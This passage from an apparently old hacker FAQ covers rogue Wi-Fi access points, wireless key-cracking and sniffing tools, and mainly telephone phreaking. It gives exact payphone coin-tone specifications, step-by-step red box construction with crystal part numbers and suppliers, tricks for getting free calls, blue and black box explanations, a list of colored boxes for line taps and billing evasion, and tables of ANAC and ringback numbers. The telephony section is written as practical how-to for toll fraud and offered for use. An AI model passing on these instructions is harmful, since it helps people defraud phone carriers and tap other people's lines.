802.11 utilizes SSIDs to authenticate NICs to Access Points. There is no similar protocol for authenticating
Access Points. It is possible to place a rogue Access Point into an 802.11 network. This rogue Access Point
can then be used to hijack the connections of legitimate network users.

C-06. Where can I get some really cool 802.11 antennae?

Antenna Systems and Supplies Inc.


http://www.antennasystems.com/broadband.html#anchor932487

Andrew
http://www.andrew.com

ComTelCo
http://www.comtelco.net/

HyperLink Technologies, Inc.


http://www.hyperlinktech.com/web/antennas_2400.html

Use a Surplus Primestar Dish as an IEEE 802.11 Wireless Networking Antenna


http://www.wwc.edu/~frohro/Airport/Primestar/Primestar.html

2.4Ghz PtMP Antenna FAQ


http://www.telexwireless.com/wlanfaq.htm

LM Electronics
http://www.lm-electronics.com/

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Antenna Sources for Wireless LAN/MAN Applications


http://www.airnet.am/wlan_ant.html

C-07. What are some interesting 802.11 tools?

AirSnort

AirSnort, by Jeremy Bruestle and Blake Hegerle, is a wireless LAN (WLAN) tool that recovers encryption
keys. It operates by passively monitoring transmissions, computing the encryption key when enough
packets have been gathered.

The AirSnort home page is at http://airsnort.shmoo.com

Kismet

Kismet, by Mike Kershaw, is an 802.11b network sniffer and network dissector. It is capable of sniffing
using most wireless cards, automatic network IP block detection via UDP, ARP, and DHCP packets, Cisco
equipment lists via Cisco Discovery Protocol, weak cryptographic packet logging, and Ethereal and
tcpdump compatible packet dump files. It also includes the ability to plot detected networks and estimated
network ranges on downloaded maps or user supplied image files

The Kismet home page is at http://www.kismetwireless.net

Wellenreiter

Wellenreiter, by Max Moser, is a GTK/Perl program that makes the discovery and auditing of 802.11b
wireless networks much easier. All three major wireless cards (Prism2, Lucent, and Cisco) are supported. It
has an embedded statistics engine for the common parameters provided by wireless drivers. Its scanner
window can be used to discover access-points, networks, and ad-hoc cards. It detects essid broadcasting or
non-broadcasting networks in every channel. The manufacturer and WEP is automaticly detected. A
flexible sound event configuration lets you work in unattended environments. An ethereal / tcpdump-
compatible dumpfile can be created for the whole session. GPS is used to track the location of the
discovered networks immediately. Automatic associating is possible with randomly generated MAC
addreses. Wellenreiter can reside on low-resolution devices that can run GTK/Perl and Linux/BSD (such as
iPaqs). Uniq Essod-bruteforcer is now included too.

The Wellenreiter home page is at http://www.remote-exploit.org/

BSD AirTools

bsd-airtools is a package that provides a complete toolset for wireless 802.11b auditing. Namely, it
currently contains a bsd-based wep cracking application, called dweputils (as well as kernel patches for
NetBSD, OpenBSD, and FreeBSD). It also contains a curses based ap detection application similar to
netstumbler (dstumbler) that can be used to detect wireless access points and connected nodes, view signal
to noise graphs, and interactively scroll through scanned ap's and view statistics for each. It also includes a
couple other tools to provide a complete toolset for making use of all 14 of the prism2 debug modes as well
as do basic analysis of the hardware-based link-layer protocols provided by prism2's monitor debug mode.

The BSD-AirTools home page is at http://www.dachb0den.com/projects/bsd-airtools.html

NetStumbler

NetStumbler, by Marius Milner, is a Windows utility for 802.11b based wireless network auditing.

The NetStumbler home page is at http://www.netstumbler.com/

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Section D -- Telephony

D-01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll
System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows
you to place your call. The actual tones are:

Nickel: 35-160ms 1700hz & 2200hz tone burst, followed by 240ms of silence.
Two 35-160ms 1700hz & 2200hz bursts, with a spacing of 20-110ms between the bursts,
Dime:
followed by 165 ms of silence.
Five 1700hz & 2200hz bursts, with the first and last being 20-100ms in length, and the second
through fourth being 20-60ms in length. The spacing between the first and second bursts is
Quarter:
20-110ms, while the spacing between the following bursts is 20-60ms. The tones are followed
by 60ms of silence.

Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different tones than ACTS. In Canada, the
tones to use are:

Nickel: 2200hz 0.060s on


Dime: 2200hz 0.060s on, 0.060s off, twice repeating
Quarter: 2200hz 33ms on, 33ms off, 5 times repeating

D-02. How do I build a Red Box?

Red boxes are commonly manufactured from Radio Shack tone dialers, Hallmark greeting cards, or made
from scratch from readily available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the
crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create
a 1700hz and 2200hz tone instead of the original 941hz and 1209hz tones. The exact value of the
replacement crystal should be 6.466806 to create a perfect 1700hz tone and 6.513698 to create a perfect
2200hz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of
ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the easiest to procure. The old
crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the
crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1.

You can record the ACTS tones and play them back into the telephone. This is what is done with the
Hallmark greeting card. Alternatively, you can build your own circuit using any voice recording chip, such
as Radio Shack catalog number 276-1325.

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D-03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store
must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not
know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are
usually much greater than the price of the crystal. It's best to get several people together to share the S&H
cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing


401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625

Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Mouser
(800)346-6873
Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5

D-04. Which payphones will a Red Box work on?

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Red Boxes will work on telco owned payphones, but not on COCOT's (Customer Owned Coin Operated
Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into
the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents"
and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins
have been inserted.

D-05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into
getting involved in the call.

One way to do this, in some areas, is by dialing an Equal Access Code before the number you are dialing.
For example, to use 10288 (an Equal Access Code belonging to AT&T), dial 10288-xxx-xxxx. This makes
your call a long distance call, and brings ACTS into the picture. There are quite a large number of Equal
Access Codes available in most geographic regions.

In other areas, you can call Directory Assistance and ask for the number of the person you are trying to
reach. The operator will give you the number and then you will hear a message similar to "Your call can be
completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones.

Another operator scam involves calling (800) long distance operators, asking them to connect you, and
then playing the ACTS tones. This will get ACTS involved, even on COCOT's!

I have heard that in some areas you can dial local calls as if they were long distance. For example, to dial
345-4587 to would dial 303-345-4587. This does not work on payphones in my area.

D-06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller
may then access special switch functions, with the usual purpose of making free long distance phone calls,
using the tones provided by the Blue Box.

D-07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by Marauder of the Legion of Doom:

Somewhere along the line I have seen reference to something similar to "Because of ESS Blue
boxing is impossible". This is incorrect. When I lived in Connecticut I was able to blue box
under Step by Step, #1AESS, and DMS-100. The reason is simple, even though I was initiating
my call to an 800 number from a different exchange (Class 5 office, aka Central Office) in
each case, when the 800 call was routed to the toll network it would route through the New
Haven #5 Crossbar toll Tandem office. It just so happens that the trunks between the class 5
(CO's) and the class 4 (toll office, in this case New Haven #5 Xbar), utilized in-band (MF)
signalling, so regardless of what I dialed, as long as it was an Inter-Lata call, my call would
route through this particular set of trunks, and I could Blue box until I was blue in the face.
The originating Central Offices switch (SXS/ESS/Etc..) had little effect on my ability to box at

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all. While the advent of ESS (and other electronic switches) has made the blue boxers task a
bit more difficult, ESS is not the reason most of you are unable to blue box. The main culprit is
the "forward audio mute" feature of CCIS (out of band signalling). Unfortunately for the boxer
99% of the Toll Completion centers communicate using CCIS links, This spells disaster for the
blue boxer since most of you must dial out of your local area to find trunks that utilize MF
signalling, you inevitably cross a portion of the network that is CCIS equipped, you find an
exchange that you blow 2600hz at, you are rewarded with a nice "winkstart", and no matter
what MF tones you send at it, you meet with a re-order. This is because as soon as you seized
the trunk (your application of 2600hz), your Originating Toll Office sees this as a loss of
supervision at the destination, and Mutes any further audio from being passed to the
destination (ie: your waiting trunk!). You meet with a reorder because the waiting trunk never
"hears" any of the MF tones you are sending, and it times out. So for the clever amongst you,
you must somehow get yourself to the 1000's of trunks out there that still utilize MF signalling
but bypass/disable the CCIS audio mute problem. (Hint: Take a close look at WATS
extenders).

D-08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in series across your phone line to cause
the phone company equipment to be unable to detect that you have answered your telephone. People who
call you will then not be billed for the telephone call. Black boxes do not work under ESS.

D-09. What do all the colored boxes do?

Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire
Acrylic
phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every phone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Diverter Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines

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Gold Dialout router


Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your electric meter to run slower
TV Cable "See" sound waves on your TV
Create a capacitative disturbance between the ring and tip wires in another's telephone
Urine
headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone

D-10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the
number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone
number of a pair of wires.

D-11. What is the ANAC number for my area?

How to find your ANAC number:

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Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed
for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number
for your area, please let us know.

Note that many times the ANAC number will vary for different switches in the same city. The geographic
naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience
only.

Many companies operate 800 number services which will read back to you the number from which you are
calling. Many of these require navigating a series of menus to get the phone number you are looking for.
Please use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC numbers.

(800)425-6256: VRS Billing Systems/Integretel


(800)4BLOCKME
(800)487-9240: Another line blocking service

A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must
be dialed with the AT&T Carrier Access Code 10732. Use of this number does not appear to be billed.

Note
These geographic areas are for reference purposes only. ANAC numbers may vary from switch to
switch within the same city.

NPA ANAC number Approximate Geographic area


USA:
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 200-222-2222 ME
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE 2EAX, DMS100, and GTD-5 switches)
213 1223 Los Angeles, CA (GTE 1AESS and 5ESS switches)

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213 211-2345 Los Angeles, CA (English response)


213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX (Southwestern Bell)
214 970-x11-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction/Steamboat
Springs, CO
305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
313 311 Ann Arbor/Dearborn/Detroit, MI
313 958-1111 Ann Arbor/Dearborn/Detroit, MI (GTE)
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY

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317 310-222-2222 Indianapolis/Kokomo, IN


317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
401 2002006969 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
404 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
423 200-200-200 Chatanooga, Johnson City, Knoxville, TN
501 511 AR
501 721-xxx-xxxx AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY

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502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY


503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
517 958-1111 Bay City/Jackson/Lansing, MI (GTE)
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
540 211 Roanoke, VA (GTE)
540 311 Roanoke, VA (GTE)
541 200 Bend, OR
573 511
602 958-3474 Phoenix, AZ
601 200-222-2222 MS
603 200-2222 NH
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH

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615 200200200200200 Chatanooga/Knoxville/Nashville, TN


615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
616 958-1111 Battle Creek/Grand Rapids/Kalamazoo, MI (GTE)
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
659 220-2622 Newmarket, NH
703 211 VA
703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
707 611 Crescent City, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
770 780-2311 Marietta/Norcross, GA
770 940-xxx-xxxx Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont

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802 111-2222 Vermont


804 211 Richmond, VA
804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-1101 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
810 311 Pontiac/Southfield/Troy, MI
810 958-1111 Pontiac/Southfield/Troy, MI (GTE)
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
815 200-3374 Crystal Lake, IL
815 270-3374 Crystal Lake, IL
815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
817 973-222-11111 Ft. Worth/Waco, TX
818 114 Pasadena, CA (GTE)
818 1223 Pasadena, CA (Some 1AESS switches) (Pac Bell)
818 211-2345 Pasadena, CA (English response) (Pac Bell)
818 211-2346 Pasadena, CA (DTMF response) (Pac Bell)
860 970 CT
901 899-?555 Memphis, TN
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
904 311 Jackonsville/Pensacola/Tallahasee, FL
904 780-2311 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
906 958-1111 Marquette/Sault Ste. Marie, MI (GTE)
907 811 Anchorage, AK
908 958 New Brunswick, NJ
909 111 Riverside/San Bernardino, CA (GTE)
909 114 Riverside/San Bernardino, CA
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
912 711 Albany/Savannah, GA
912 780-2311 Albany/Savannah, GA

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914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY


915 970-xxxx Abilene/El Paso, TX
916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
919 780-2411 Durham, NC
954 200-555-1212 Ft. Lauderdale, FL
954 200200200200200 Ft. Lauderdale, FL
954 780-2411 Ft. Lauderdale, FL
Canada:
204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
416 997-1699 Down Town, Toronto, Ontario
416 997-1699 Riverdale, Toronto, Ontario
416 997-8123 Scarborough, Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
514 320-1232 Montreal, Quebec
514 320-1223 Montreal, Quebec
514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
613 320-5123 Kingston/Belleville/Southeastern Ontario
613 320-5124 Kingston/Belleville/Southeastern Ontario
613 320-9123 Kingston/Belleville/Southeastern Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
819 320-1112 Quebec
Argentina:
5702
Australia:
12722123
United Kingdom:
175 or 17071
Israel:
110

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D-12. What is a ringback number?

A ringback number is a number that you call that will immediately ring the telephone from which it was
called.

In most instances you must call the ringback number, quickly hang up the phone for just a short moment
and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang
up. You will be called back seconds later. On some systems, you will have to press a button of flash hook
again before the final hang up.

D-13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the
number varies from switch to switch in the area, or changes from time to time. Try all possible
combinations.

If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958.
Also, try using the numbers listed for other NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to
switch within the same city.

NPA Ringback number Approximate Geographic area


USA:
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
206 571-xxxx WA
207 981-xxxx ME
208 59X-xxxx ID
208 99xxx-xxxx ID
210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
Los Angeles, CA (GTE 2EAX, DMS100, and
213 xxx-xxxx
GTD-5 witches)
213 117-xxxx Los Angeles, CA (GTE 5ESS switches)
213 195-xxxx Los Angeles, CA (GTE 1AESS switches)
214 971-xxxx Dallas, TX
215 811-xxxx Philadelphia, PA
Akron/Canton/Cleveland/Lorain/Youngstown,
216 551-xxxx
OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99x-xxxx Grand Junction, CO

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304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
313 116-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI (GTE)
313 951-xxxx Ann Arbor/Dearborn/Detroit, MI
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
Indianapolis/Kokomo, IN (y=3rd digit of phone
317 xxx-xxxx
number)
319 79x-xxxx Davenport/Dubuque, Iowa
334 901-xxxx Montgomery, AL
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
408 470-xxxx San Jose, CA
408 580-xxxx San Jose, CA
412 985-xxxx Pittsburgh, PA
413 1983-xxxx Pittsfield/Springfield, MA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxxx Ft. Smith, AR (646 prefix)
501 221-xxx-xxxx AR
501 780-xxxx Ft. Smith, AR (452 prefix)
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 951-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
515 559-XXXX Des Moines, IA
516 660-xxxx Hempstead/Long Island, NY
516 660-xxx-xxxx Hempstead/Long Island, NY
517 116-xxx-xxxx Bay City/Jackson/Lansing, MI (GTE)
520 594-xxxx AZ
601 777-xxxx MS
603 981-xxxx NH

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609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ


610 811-xxxx Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
614 998-xxxx Columbus/Steubenville, OH
615 920-XXXX Chatanooga/Knoxville/Nashville, TN
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
Battle Creek/Grand Rapids/Kalamazoo, MI
616 116-xxx-xxxx
(GTE)
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
659 981-XXXX Newmarket, NH
703 511-xxx-xxxx VA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
713 231-xxxx Los Angeles, CA
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
Charlottesville/Newport News/Norfolk
804 260
/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 116-xxx-xxxx Pontiac/Southfield/Troy, MI (GTE)
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
818 915?-xxxx Pasadena, CA
864 999-xxx-xxxx Greenville/Spartanburg, SC
906 116-xxx-xxxx Marquette/Sault Ste. Marie, MI (GTE)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
Peekskill/Poughkeepsie/White Plains/Yonkers,
914 660-xxxx-xxxx
NY
Canada:

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204 590-xxx-xxxx Manitoba


403 999-xxx-xxxx Alberta, Yukon, and N.W. Territories
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
519 999-xxx-xxxx London, Ontario
604 311-xxx-xxxx British Columbia
604 871-xxx-xxxx British Columbia
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
819 320-xxx-xxxx Quebec
902 575-xxx-xxxx Halifax, Nova Scotia
905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario
Argentina:
115
Australia:
+61 199
Brazil:
109
France:
3644
Malaysia:
196
